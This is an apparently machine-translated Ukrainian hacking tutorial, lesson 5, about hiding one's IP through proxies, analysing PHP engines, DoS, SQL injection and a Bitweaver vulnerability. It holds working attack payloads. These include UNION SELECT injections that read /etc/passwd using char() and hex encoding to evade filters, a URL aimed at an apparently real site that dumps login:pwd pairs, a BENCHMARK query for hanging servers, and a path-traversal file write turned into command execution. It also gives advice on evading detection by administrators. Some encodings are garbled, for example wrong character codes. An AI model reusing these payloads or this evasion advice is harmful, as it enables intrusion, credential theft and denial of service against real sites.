Вступ.
Привіт. Ось і прийшов час уроку 5 «Основ хакерства».
В цій частині я хотів би приділити увагу нашої безпеки.
Напевно це треба було розібрати трохи раніше. Адже цей аспект є дуже важливим.
Так само в цьому уроці я почну розповідати про аналіз php движків.
Ще ми розберемо таку тему, як DoS/DDoS. Наостанок дебютує новий топік «Прогулянка по багтракам»

Cоntent:

Безпека при зломі.
Установка движка і початки аналізу
DoS і DDOS загальні принципи.
Sql injection
Прогулянка по багтракам.

Безпека при зломі.
Це дійсно важливо.
Якщо адміністратор сайту виявить твій реальний ip адреса,
він без проблем зможе повідомити про проникнення твого провайдера.
А далі як пощастить.
Отже, спочатку варто розібрати, як зберігаються твої дані.
Логи веде веб сервер. Він записує всі дії користувачів.
Ось наприклад якщо в логах буде помічена така рядок:

65.234.112.11- – [13/Jan/2019:14:23:57 +0300] “GET /scripts/photo?id=1 ” 404 – “-” “-“

Відразу стане ясно що користувач адресою 65.234.112.11 намагався перевірити параметр id на ін’єкцію.
Взагалі нам важливі логи помилок (ErrorLog) і основні логи.
У ErrorLog зберігаються дані помилкових запитів. У httpd.conf(файл конфігурації веб-сервера)
шлях до них можна знайти за директивою ErrorLog.
В основному балці знаходяться всі запити до сервера. Його можна знайти за директивою CustomLog.
Ну що ж більш чи менш зрозуміло.
По суті наше завдання це підмінити айпі адресу. Адже саме він нас палить.
Як факт змінити свій ip не можна. Але! Його можна приховати або ПІДнити.
Яким чином? За допомогою проксі-сервера.

Проксі-сервер (від англ. proxy «представник, уповноважений») служба в комп’ютерних мережах,
дозволяє клієнтам виконувати непрямі запити до іншим мережевим службам

Простіше кажучи, ми спочатку будемо підключення до проксі сервера і вже від туди робити запити до жертви.
Природно в логах цільового сайту буде світиться айпі проксі сервера. Так. Тепер по порядку:
Бувають паблік (публічні) проксі.
Бувають приватні проксі (тільки для обраних).
Як думаю ясно перші можна легко знайти в мережі. З другими складніше. Якщо хочеш придбати такі потрібно платити.
Власне в чому різниця? Паблік проксі повільні, т. к. їх юзає купа народу.
Приватні більш швидкі. Ось власне і все.
Ось кілька джерел безкоштовних проксі северов:

www.checker.freeproxy.ru/checker/last_checked_proxies.php
www.madnet.name/tools/proxy/
www.proxylife.org/proxy/

Ах так забули про головне як їх використовувати?
Натягувати їх потрібно на свій браузер. Розберемо на прикладі трьох:

  • InternetExplorer
  • Opera
  • FireFox

  • InernetExplorer:
    Натисніть кнопку Знаряддя і виберіть пункт Властивості браузера.
    На вкладці Підключення виберіть Налаштування LAN.
    Установіть прапорець Використовувати проксі-сервер для локальної мережі.
    У полі адреса введіть Адресу проксі-сервера.
    В полі Порт-введіть номер порту.
  • Opera:
    Вибираємо: інструменти налаштування
    Вкладка додатково
    Пункт мережа
    Кнопка проксі сервери
    Вказуємо на галочку HTTP і вводимо проксі і порт.
  • FireFox
    Інструменти налаштування
    Вкладка додатково
    Налаштувати
    Ручна нстройка проксі

Ну, на цьому поки все. В майбутньому розповім про анонімайзери і ланцюжка проксі.

Встановлення та аналіз движка.
Незамінним атрибутом веб хакера є вміння аналізувати і знаходити помилки в php скриптах.
Вчитися цьому ми почнемо вже з цього уроку.
Отже, спочатку потрібно підготувати платформу для тестування.
Здається, у минулій статті я згадував, що ми будемо працювати з Денвером.
Денвер-це набір дистрибутивів (Apache, PHP, MySQL, Perl і т. д.) і програмна оболонка.
Вся справа в тому, що для його установки не потрібно виробляти практично не якихось рухів тіла
(на відміну від окремої установки php apche mysql), але зате втрачається гнучкість.
Отже, вам потрібно завантажити і встановити denwer його.
Платформу можна вважати готовою На прикладі wordpress 2.3
я покажу, як встановити движок.

Отже, після скачування треба створити в папці home (Денвера) директорію bugsite11.us
Далі розпакувати в папку скачаний пакет.
Тепер необхідно створити базу даних. Для цього потрібно зайти в phpmyadmin.
Якщо Денвер запущений, пройдіть по цьому шляху

http://localhost/Tools/phpmyadmin/index.php
Далі в полі «Створити нову базу даних» введіть wordpress і натисніть кнопку створити. Всі.
Тепер переходь за адресою bugsite11.us. Якщо все було зроблено правильно, ви побачите головну сторінку інсталятора wordpress.
Пройдіть кілька кроків. Коли буде потрібно ввести дані в поле база даних потрібно ввести wordpress у поле користувач root, поле пароля залишаємо порожнім. Сервер localhost. Всі. Тепер можете перейти за адресою bugsite11.us і ви побачите готовенький для
тестінгу сайт на локалхосте.
Як бачите встановити двиг не складно. Тепер по справі.
Зараз я розповім чисто поверхневу інформацію про аналіз скриптів.

  • По-перше — перш ніж вивчати код скрипта потрібно перевірити його в роботі. Власне для цього ми і ставили denwer.
  • По друге ледь не ключовим аспектом при пошуку вразливостей є розуміння структури CMS (або що там ми ставили).
    Розбиратися найкраще від початкової сторінки (майже завжди index.php). У ній часто виконуються підключення, будь то модулів.
    І так по порядку потрібно вивчати роботу скриптів. До речі, у вивченні вам може допомогти документація до скрипта.
    Якщо така відсутня можна пошукати в Інтернеті якусь інформацію.
  • По-третє, дуже часто доведеться виробляти пошук по вихідного коду. Так що бажано обзавестися
    нормальним текстовим редактором. Я пропоную Notepad++.
  • Ну і по-четверте потрібно обов’язково заглядати на сайт розробника. Там можна знайти доки, інформацію
    про уразливості в попередніх версіях і взагалі багато корисної інформації.

На цьому я закінчу. Хочу що б ви потренувалися в установці движків на localhost. У наступному уроці ми
почнемо потихеньку розбирати основні помилки php програмістів.

DoS і DDOS загальні принципи.
Буває, що потрібний нам сайт недоступний. Браузер говорить нам, що сервер не відповідає.
Це може відбуватися внаслідок DDOS атаки на сервер.
Трохи понять:

  • DoS — Denial of Service, відмова від обслуговування. Насправді це не атака, а результат атаки.
    По суті DoS відбувається через помилки в програмному коді або недостатньої перевірки вхідних даних.
    Наприклад, на сервері висить FTP демон. Вхідні дані від користувача (наприклад логін) не перевіряються
    на правильність. Тобто користувач може ввести будь-яку кількість в символів. Досить типова помилка.

    Ось наприклад ще уразливість в SolarWinds TFTP Server 9.2.0.111
    www.securitylab.ru/vulnerability/384458.php
    Помилка може виникнути при обробці при обробці TFTP пакетів.

    До речі є досить відомий спосіб, як можна «підвісити» сайт за допомогою sql injection:

    http://www.example.com/index.php?id=1+BENCHMARK(100000, BENCHMARK(10000, NOW()))

    Функція BENCHMARK повторює дії зазначене у другому аргументі кількість разів вказаний в аргументі параметрі.
    Функція NOW() показує поточний час. Тобто можна прикинути, як ми завантажимо сервер.
    Замість now можна підставити функцію начебто md5().

  • DDoS дуже часто плутають з DoS. Тут розклад трохи інший. Сенс цієї атаки саме
    у «затоплюванні» сервера величезною кількістю запитом, до тих пір, поки сервер не вичерпає свої ресурси закінчитися пам’ять
    Як ясно з одного комп’ютера таке не зробиш. Саме тому хакери складають ботнет з якого вони можуть топити сервер запитів.
    Ботнет це енну кількість комп’ютерів з встановленою троянською програмою, через яку зломщик може контролювати кожен комп’ютер.
    Ну ось. Якщо тебе зацікавила ця тема, можу підкинути кілька статей:
    www.internet-technologies.ru/articles/article_436.html
    www.cyberguru.ru/networks/network-security/botnet-page7.html
    www.fssr.ru/hz.php?name=News&file=article&sid=9384

SQL injection

  • Обхід magis_quert
  • concat_ws і зручний висновок.

На минулому уроці ми говорили про таку річ як магічні лапки. Загалом Я розповів що це.
Зараз ми розглянемо як можна обійти ці самі лапки.

По-перше, можна використовувати функцію char. Ця функція перетворює ASCII (аск) код символи.
ASCII-код це код символу. У кожного символу є свій код. Наприклад, у символу одинарних лапок код 27.
Таблицю кодів можна знайти тут
Отже, функція char перетворює ці коди символів, тобто наприклад:
Char(27,27)
Поверне нам дві одинарні лапки.
До речі знаючи коди символів можна зробити так:

Натиснути клавішу alt і набрати 0 код символу.
Наприклад, alt+077 виведе нас букву M.
Так само можна виводити деякі специфічні знаки на зразок знака копірайту alt+0169)

Повернемося до наших скулям:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*

Якщо ти забув, то ми намагаємося завантажити файл /etc/passwd (файл зі списком акаунтів)
Часто лапки ріжуться. А якщо зробити так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(char(27,47,101,116,99,47,112,97,115,119,100)),
4,5,6,7,8,9,10/*

Лапки закодовані, значить все ок.
Ще можна обійти фільтрація шляхом заміни вихідної рядки аналогічною їй, тільки в хекс(hex) варіанті (в шістнадцятковому варіанті).
Причому перед рядком потрібно підставити знак 0x. Дивимося на прикладі:
Беремо вихідну рядок ‘/etc/passwd’. Знову ж йдемо на сайт www.x3k.ru вибираємо розділ SQL Hex і вписуємо рядок
На виході 0x5c272f6574632f7061737377645c27
У нашому прикладі це буде так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(0x5c272f6574632f7061737377645c27),4,5,6,7,8,9,10/*

concat_ws.
Для кращого розуміння візьмемо реальний приклад:

http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,
32,33,34,35,36+from+auth–+
Бачимо, що тільки одне читабельне поле 2. Скажу наперед, що поле логіну login, а пароля pwd.
Отже, наше завдання скомбінувати ці два поля і вивести в зручному вигляді. Робиться це за допомогою функції concat_ws:

concat_ws(0x3a,login,pwd)

Перший аргумент це роздільник між полями. 0x3a записаний в sql hex, в ASCII це буде: (двокрапка), тобто висновок відбудеться такий:

Login:pwd

Ось ще приклад:

concat_ws(0x2d,login,pwd)
0x2d означає тире (-)

Login-pwd
А ось як це буде виглядати в нашому випадку:

http://www.photoworld.kz/index.php?mod=photos&cathid=-25+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from+auth–+
По суті, користь не велика, але так зручніше і витонченіше. Ми ж естети =)
Так з цим ясно. Що далі? У наступному уроці я розповім про записи файлів з допомогою інжектов.
І напевно, на цьому закінчу оповідання про основи. Т. к. далі продовжувати безглуздо. В Інтернеті дуже багато статей про це,
а ази ви вже знаєте. В уроках я буду розповідати про якихось нестандартних ситуаціях, більш докладно про мову mysql і тому подібні речі.
А зараз продовжуємо…

Прогулянка по багтракам.
Ще трохи про цьому топіку:
Суть в тому, що я буду викладати деякі цікаві уразливості з багтраков.
Так сказати приклади знаходження уразливостей. Що це дасть? Найголовніше-це розуміння суті проблеми. Начнемсс…

Уразливість CMS Bitweaver 2.6
www.securitylab.ru/vulnerability/380079.php
Отже, знайдена уразливість в CMS Bitweaver 2.6.
Бага дозволяє нам створювати довільні файли в системі.
подивившись сплоіт, розуміємо що:
Уразливість присутня в сценарії boards_rss.php — рядок 102:


echo $rss->saveFeed( $rss_version_name, $cacheFile );

В цьому шматку функція saveFeed викликається небезпечно.
Аргументи не перевіряються і можуть містити символи обходу каталогу ../(см урок 3)
Дані виходять так:

Змінна=$_REQUEST[‘version’]

Тепер подивимося власне на саму функцію saveFeed в /RSS/ feedcreator.class.php


function saveFeed($filename=””, $displayContents=true) {
if ($filename==””) {
$filename = $this->_generateFilename();
}
if ( !is_dir( dirname( $filename ))) {
mkdir( dirname( $filename ));// створюємо каталог
}
$feedFile = fopen($filename, “w+”); // відкриваємо файл для запису (w+)
if ($feedFile) {
fputs($feedFile,$this->createFeed()); пишемо у файл інформацію
fclose($feedFile);// закриваємо файл
if ($displayContents) {
$this->_redirect($filename);
}
} else {
echo “
Error creating feed file, please check write permissions.
“;
}
}

}

Тут просто відбувається збереження файлу.
Постараюся пояснити функції, наведені в цьому коді:
dirname повертає каталог із зазначеного шляху. Наприклад, є шлях /home/hockfuke/text.c
Функція поверне /home/hockfuke/
is_dir перевіряє, чи є файл каталогом.
Mkdir створює каталог
Fopen відкриває файл
Fputs пише у файл.

Тепер власне сам приклад використання:

http://sitename/path/boards/boards_rss.php?version=/../../../../bookoo.php%00

З NULL байтом ви вже знайомі, він обрубує іншу частину запиту.
Параметр version ми як раз отримували з допомогою $_REQUEST.
Власне ясно, що буде створити файл heck.php. Функція збереження файлу була наведена вище.
Як пам’ятаємо наш піддослідний це rss скрипт. Створений файл буде таким:

[?xml version=”1.0″ encoding=”UTF-8″?]
[!– generator=”FeedCreator 1.7.2″ –]
[?xml-stylesheet href=”http://www.w3.org/2000/08/w3c-synd/style.css” type=”text/css”?]
[rss version=”0.91″]
[channel]
[title> Feed[/title]
[description][/description]
[link]http://192.168.0.1[/link]
[lastBuildDate]Sat, 09 Sep 2009 20:01:44 +0100[/lastBuildDate]
[generator]FeedCreator 1.7.2[/generator]
[language]en-us[/language]
[/channel]
[/rss]
[/code]

Власне нам потрібно виконати код. Ось що помітили багоискатели:
Для виконання коду, можна створити обліковий запис на сайті і в Display Name (ім’я) вписати код:

[?php system("ls al");?]

system виконує команду в системі.
Тепер робимо так:

host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&U=юзернэйм&P=пароль

На сервері з'явиться той же файл, але вже замість [title] Feed [/ TITLE] [title] Feed ([?php system(«ls al»);?>[/TITLE].

Підведемо маленький підсумок. Помилка полягав знову ж таки у відсутності фільтрації.
З-за чого можна у нас з'явилася можливість створити власний файл і виконати у ньому код. Т. к. displayname теж не перевірялося.

Кінець.
Ну ось підійшов до кінця 5 урок.
Сьогодні я наводив багато вихідних кодів. Хочу, що б ви зрозуміли, що це основа.
І вміти програмувати просто необхідно.
Що далі? Думаю, на наступному уроці ми продовжимо знайомитися з аналізом движків.
Так само я розповім ще дещо про твою безпеку. На цьому все.
Всі кутові дужки замінені на [ and ]

Посилання:
www.denwer.ru сайт Денвера
Непогана статейка про sql injection
http://www.xakep.ru/post/49508/default.asp
http://hackzona.ru/hz.php?name=News&file